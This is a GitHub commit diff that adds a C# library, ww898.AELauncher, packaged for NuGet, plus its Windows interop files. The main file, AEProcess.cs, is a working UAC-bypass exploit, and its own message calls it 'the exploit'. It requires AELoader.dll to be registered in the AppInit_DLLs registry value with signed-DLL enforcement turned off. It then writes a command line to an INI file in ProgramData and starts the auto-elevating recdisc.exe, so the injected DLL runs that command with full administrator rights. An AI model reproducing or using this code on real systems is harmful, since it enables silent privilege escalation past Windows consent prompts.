-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
24 changed files
with
526 additions
and
22 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -5,3 +5,4 @@ _ReSharper.Caches/ | |
obj/ | ||
bin/ | ||
*.user | ||
*.snk |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
<Project Sdk="Microsoft.NET.Sdk"> | ||
<Import Project="../Common.targets" /> | ||
<PropertyGroup> | ||
<TargetFrameworks>netstandard2.0;net20</TargetFrameworks> | ||
<AssemblyName>ww898.AELauncher</AssemblyName> | ||
<RootNamespace>ww898.AELauncher</RootNamespace> | ||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks> | ||
<GeneratePackageOnBuild>true</GeneratePackageOnBuild> | ||
<PackageIcon>icon.png</PackageIcon> | ||
</PropertyGroup> | ||
<ItemGroup> | ||
<None Include="icon.png" Pack="true" PackagePath="\" /> | ||
</ItemGroup> | ||
<ItemGroup Condition="'$(TargetFramework)' == 'netstandard2.0'"> | ||
<PackageReference Include="Microsoft.Win32.Registry" Version="4.7.0" /> | ||
</ItemGroup> | ||
</Project> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,159 @@ | ||
using System; | ||
using System.Diagnostics; | ||
using System.IO; | ||
using System.Text; | ||
using System.Text.RegularExpressions; | ||
using Microsoft.Win32; | ||
using ww898.AELauncher.Impl; | ||
using ww898.AELauncher.Impl.Interop; | ||
|
||
namespace ww898.AELauncher | ||
{ | ||
// ReSharper disable once InconsistentNaming | ||
public static class AEProcess | ||
{ | ||
private const string Sys32Dir = @"%SystemRoot%\System32"; | ||
private const string Wow64Dir = @"%SystemRoot%\SysWOW64"; | ||
|
||
private const string AeLoaderDll = "AELoader.dll"; | ||
|
||
private const string Sys32AeLoaderDll = Sys32Dir + @"\" + AeLoaderDll; | ||
private const string Wow64AeLoaderDll = Wow64Dir + @"\" + AeLoaderDll; | ||
|
||
private const string DonorExe = Sys32Dir + @"\recdisc.exe"; | ||
|
||
private const string KeyPath = @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows"; | ||
|
||
private const string ValueAppInitDlls = "AppInit_DLLs"; | ||
private const string ValueLoadAppInitDlls = "LoadAppInit_DLLs"; | ||
private const string ValueRequireSignedAppInitDlls = "RequireSignedAppInit_DLLs"; | ||
|
||
public static bool DebugMode; | ||
|
||
public static void Start(string executable, string arguments = null) | ||
{ | ||
Run(executable, arguments); | ||
} | ||
|
||
public static void Start(string executable, string[] arguments) | ||
{ | ||
if (arguments == null) | ||
throw new ArgumentNullException(nameof(arguments)); | ||
var builder = new StringBuilder(); | ||
foreach (var argument in arguments) | ||
builder.Append(' ').Append(EscapeArgument(argument)); | ||
Run(executable, builder.ToString()); | ||
} | ||
|
||
private static void Run(string executable, string arguments = null) | ||
{ | ||
if (Environment.OSVersion.Platform != PlatformID.Win32NT) | ||
throw new PlatformNotSupportedException("Windows is required"); | ||
|
||
if (!File.Exists(Environment.ExpandEnvironmentVariables(Sys32AeLoaderDll))) | ||
throw new FileNotFoundException(Sys32AeLoaderDll + " wasn't found"); | ||
|
||
if (Directory.Exists(Environment.ExpandEnvironmentVariables(Wow64Dir))) | ||
if (!File.Exists(Environment.ExpandEnvironmentVariables(Wow64AeLoaderDll))) | ||
throw new FileNotFoundException(Wow64AeLoaderDll + " wasn't found"); | ||
|
||
if (!ElevationUtil.IsUacEnabled()) | ||
throw new Exception("UAC is disabled"); | ||
|
||
using (var key = Registry.LocalMachine.OpenSubKey(KeyPath)) | ||
{ | ||
if (key == null) | ||
throw new Exception(KeyPath + @" was not found"); | ||
if (!(key.GetValue(ValueAppInitDlls) is string paths)) | ||
throw new Exception(ValueAppInitDlls + @" value was not found"); | ||
if (!(key.GetValue(ValueLoadAppInitDlls) is int load)) | ||
throw new Exception(ValueLoadAppInitDlls + @" value was not found"); | ||
if (!(key.GetValue(ValueRequireSignedAppInitDlls) is int requireSigned)) | ||
throw new Exception(ValueRequireSignedAppInitDlls + @" value was not found"); | ||
|
||
if (paths.IndexOf(AeLoaderDll, StringComparison.OrdinalIgnoreCase) < 0) | ||
throw new Exception(AeLoaderDll + " wasn't registered"); | ||
if (load == 0) | ||
throw new Exception(ValueLoadAppInitDlls + " wasn't enabled"); | ||
if (requireSigned != 0) | ||
throw new Exception(ValueRequireSignedAppInitDlls + " wasn't disabled"); | ||
} | ||
|
||
var currentProcess = Process.GetCurrentProcess(); | ||
switch (ElevationUtil.GetElevationType(currentProcess)) | ||
{ | ||
case TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault: | ||
throw new Exception("A limited administrator account is required to run the exploit"); | ||
case TOKEN_ELEVATION_TYPE.TokenElevationTypeFull: | ||
ExecuteDirect(executable, arguments); | ||
break; | ||
case TOKEN_ELEVATION_TYPE.TokenElevationTypeLimited: | ||
var iniFile = Environment.ExpandEnvironmentVariables($"%ProgramData%\\AELoader.{unchecked((uint) currentProcess.Id)}.ini"); | ||
try | ||
{ | ||
WriteIniFile(iniFile, executable, arguments); | ||
ExecuteDonor(TimeSpan.FromSeconds(10)); | ||
if (File.Exists(iniFile)) | ||
throw new InvalidOperationException("AELoader.dll wasn't loaded in the donor process"); | ||
} | ||
finally | ||
{ | ||
if (File.Exists(iniFile)) | ||
File.Delete(iniFile); | ||
} | ||
break; | ||
default: | ||
throw new ArgumentOutOfRangeException(); | ||
} | ||
} | ||
|
||
private static void ExecuteDonor(TimeSpan timeout) | ||
{ | ||
var timeoutInMilliseconds = checked((int) timeout.TotalMilliseconds); | ||
using (var process = Process.Start(new ProcessStartInfo(Environment.ExpandEnvironmentVariables(DonorExe)) {UseShellExecute = true})) | ||
{ | ||
if (process == null) | ||
throw new InvalidOperationException("Failed to run the donor executable"); | ||
if (!process.WaitForExit(timeoutInMilliseconds)) | ||
throw new TimeoutException("Failed to wait the donor process"); | ||
} | ||
} | ||
|
||
private static void ExecuteDirect(string executable, string arguments = null) | ||
{ | ||
if (executable == null) | ||
throw new ArgumentNullException(nameof(executable)); | ||
using (var process = Process.Start(new ProcessStartInfo(executable, arguments) {UseShellExecute = true})) | ||
if (process == null) | ||
throw new InvalidOperationException("Failed to run the executable directly"); | ||
} | ||
|
||
private static void WriteIniFile(string iniFile, string executable, string arguments = null) | ||
{ | ||
var commandLine = EscapeArgument(executable); | ||
if (!string.IsNullOrEmpty(arguments)) | ||
commandLine += ' ' + arguments; | ||
|
||
// Bug: GetPrivateProfileIntW() / GetPrivateProfileStringW() support only ASCII or UTF-16LE with no BOM! | ||
var encoding = new UnicodeEncoding(false, false); | ||
|
||
using (var writer = new StreamWriter(File.OpenWrite(iniFile), encoding)) | ||
{ | ||
writer.WriteLine("[AELoader]"); | ||
if (DebugMode) | ||
writer.WriteLine("EnableEventLogs=1"); | ||
writer.WriteLine("CommandLine={0}", commandLine); | ||
} | ||
} | ||
|
||
private static string EscapeArgument(string argument) | ||
{ | ||
if (argument == null) | ||
throw new ArgumentNullException(nameof(argument)); | ||
if (argument.Length == 0) | ||
return @""""""; | ||
var tmp = Regex.Replace(argument, @"(\\*)""", @"$1\\$0"); | ||
return Regex.Replace(tmp, @"^(.*\s.*?)(\\*)$", @"""$1$2$2"""); | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,44 @@ | ||
using System; | ||
using System.ComponentModel; | ||
using System.Diagnostics; | ||
using ww898.AELauncher.Impl.Interop; | ||
|
||
namespace ww898.AELauncher.Impl | ||
{ | ||
internal static class ElevationUtil | ||
{ | ||
public static unsafe bool IsUacEnabled() | ||
{ | ||
if (Environment.OSVersion.Version < new Version(6, 0)) | ||
return false; | ||
uint elevationFlags; | ||
var error = NtDllDll.RtlQueryElevationFlags(&elevationFlags); | ||
if (error != (int) WinError.ERROR_SUCCESS) | ||
throw new Win32Exception(error, "Can't get elevation flags"); | ||
return ((ELEVATION_FLAGS) elevationFlags & ELEVATION_FLAGS.ELEVATION_UAC_ENABLED) != 0; | ||
} | ||
|
||
public static unsafe TOKEN_ELEVATION_TYPE GetElevationType(Process process) | ||
{ | ||
if (process == null) | ||
throw new ArgumentNullException(nameof(process)); | ||
if (Environment.OSVersion.Version < new Version(6, 0)) | ||
return TOKEN_ELEVATION_TYPE.TokenElevationTypeDefault; | ||
void* handle; | ||
if (Advapi32Dll.OpenProcessToken(process.Handle.ToPointer(), (uint) TokenAccessRights.TOKEN_QUERY, &handle) == 0) | ||
throw new Win32Exception("Can't open process token"); | ||
try | ||
{ | ||
TOKEN_ELEVATION_TYPE tet; | ||
var size = (uint) sizeof(TOKEN_ELEVATION_TYPE); | ||
if (Advapi32Dll.GetTokenInformation(handle, (int) TOKEN_INFORMATION_CLASS.TokenElevationType, &tet, size, &size) == 0) | ||
throw new Win32Exception("Can't get elevation type"); | ||
return tet; | ||
} | ||
finally | ||
{ | ||
Kernel32Dll.CloseHandle(handle); | ||
} | ||
} | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,15 @@ | ||
using System.Runtime.InteropServices; | ||
|
||
namespace ww898.AELauncher.Impl.Interop | ||
{ | ||
internal static unsafe class Advapi32Dll | ||
{ | ||
private const string LibraryName = "advapi32.dll"; | ||
|
||
[DllImport(LibraryName, ExactSpelling = true, SetLastError = true)] | ||
public static extern int OpenProcessToken(void* ProcessHandle, uint DesiredAccess, void** TokenHandle); | ||
|
||
[DllImport(LibraryName, ExactSpelling = true, SetLastError = true)] | ||
public static extern int GetTokenInformation(void* TokenHandle, int TokenInformationClass, void* TokenInformation, uint TokenInformationLength, uint* ReturnLength); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
using System; | ||
|
||
namespace ww898.AELauncher.Impl.Interop | ||
{ | ||
[Flags] | ||
internal enum ELEVATION_FLAGS : uint | ||
{ | ||
ELEVATION_UAC_ENABLED = 0x1, | ||
ELEVATION_VIRTUALIZATION_ENABLED = 0x2, | ||
ELEVATION_INSTALLER_DETECTION_ENABLED = 0x4 | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
using System.Runtime.InteropServices; | ||
|
||
namespace ww898.AELauncher.Impl.Interop | ||
{ | ||
internal static unsafe class Kernel32Dll | ||
{ | ||
private const string LibraryName = "kernel32.dll"; | ||
|
||
[DllImport(LibraryName, ExactSpelling = true, SetLastError = true)] | ||
public static extern int CloseHandle(void* hObject); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
using System.Runtime.InteropServices; | ||
|
||
namespace ww898.AELauncher.Impl.Interop | ||
{ | ||
internal static unsafe class NtDllDll | ||
{ | ||
private const string LibraryName = "ntdll.dll"; | ||
|
||
[DllImport(LibraryName, ExactSpelling = true, SetLastError = false)] | ||
public static extern int RtlQueryElevationFlags(uint* pFlags); | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
namespace ww898.AELauncher.Impl.Interop | ||
{ | ||
internal enum TOKEN_ELEVATION_TYPE | ||
{ | ||
TokenElevationTypeDefault = 1, | ||
TokenElevationTypeFull, | ||
TokenElevationTypeLimited | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,46 @@ | ||
namespace ww898.AELauncher.Impl.Interop | ||
{ | ||
internal enum TOKEN_INFORMATION_CLASS | ||
{ | ||
TokenUser = 1, | ||
TokenGroups, | ||
TokenPrivileges, | ||
TokenOwner, | ||
TokenPrimaryGroup, | ||
TokenDefaultDacl, | ||
TokenSource, | ||
TokenType, | ||
TokenImpersonationLevel, | ||
TokenStatistics, | ||
TokenRestrictedSids, | ||
TokenSessionId, | ||
TokenGroupsAndPrivileges, | ||
TokenSessionReference, | ||
TokenSandBoxInert, | ||
TokenAuditPolicy, | ||
TokenOrigin, | ||
TokenElevationType, | ||
TokenLinkedToken, | ||
TokenElevation, | ||
TokenHasRestrictions, | ||
TokenAccessInformation, | ||
TokenVirtualizationAllowed, | ||
TokenVirtualizationEnabled, | ||
TokenIntegrityLevel, | ||
TokenUIAccess, | ||
TokenMandatoryPolicy, | ||
TokenLogonSid, | ||
TokenIsAppContainer, | ||
TokenCapabilities, | ||
TokenAppContainerSid, | ||
TokenAppContainerNumber, | ||
TokenUserClaimAttributes, | ||
TokenDeviceClaimAttributes, | ||
TokenRestrictedUserClaimAttributes, | ||
TokenRestrictedDeviceClaimAttributes, | ||
TokenDeviceGroups, | ||
TokenRestrictedDeviceGroups, | ||
TokenSecurityAttributes, | ||
TokenIsRestricted | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,10 @@ | ||
using System; | ||
|
||
namespace ww898.AELauncher.Impl.Interop | ||
{ | ||
[Flags] | ||
internal enum TokenAccessRights : uint | ||
{ | ||
TOKEN_QUERY = 0x0008 | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,7 @@ | ||
namespace ww898.AELauncher.Impl.Interop | ||
{ | ||
internal enum WinError | ||
{ | ||
ERROR_SUCCESS = 0 | ||
} | ||
} |
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Oops, something went wrong.